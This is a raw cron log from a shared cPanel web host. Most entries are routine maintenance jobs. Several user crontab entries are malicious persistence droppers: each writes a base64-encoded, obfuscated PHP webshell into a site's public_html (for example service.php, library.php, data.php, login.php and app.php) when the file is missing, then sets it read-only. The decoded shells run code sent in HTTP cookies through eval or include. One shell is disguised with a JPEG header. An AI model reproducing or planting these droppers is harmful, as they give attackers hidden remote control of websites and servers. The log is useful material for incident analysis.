Mar  2 01:48:01 medusa CROND[29437]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:48:01 medusa CROND[29438]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:49:01 medusa CROND[5024]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:49:01 medusa CROND[5027]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:49:01 medusa CROND[5028]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:49:01 medusa CROND[5026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:49:01 medusa CROND[5029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:49:01 medusa CROND[5031]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:49:01 medusa CROND[5037]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:49:01 medusa CROND[5043]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:49:01 medusa CROND[5042]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:49:01 medusa CROND[5044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:49:01 medusa CROND[5046]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:49:01 medusa CROND[5045]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:50:01 medusa CROND[11256]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:50:01 medusa CROND[11263]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:50:01 medusa CROND[11494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 01:50:01 medusa CROND[11495]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:50:01 medusa CROND[11496]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:50:01 medusa CROND[11497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:50:01 medusa CROND[11498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 01:50:01 medusa CROND[11501]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:50:01 medusa CROND[11503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:50:01 medusa CROND[11504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11505]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11506]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:50:01 medusa CROND[11507]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11508]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11519]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:50:01 medusa CROND[11515]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:50:01 medusa CROND[11524]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:50:01 medusa CROND[11520]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 01:50:01 medusa CROND[11530]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:50:01 medusa CROND[11541]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:50:01 medusa CROND[11545]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
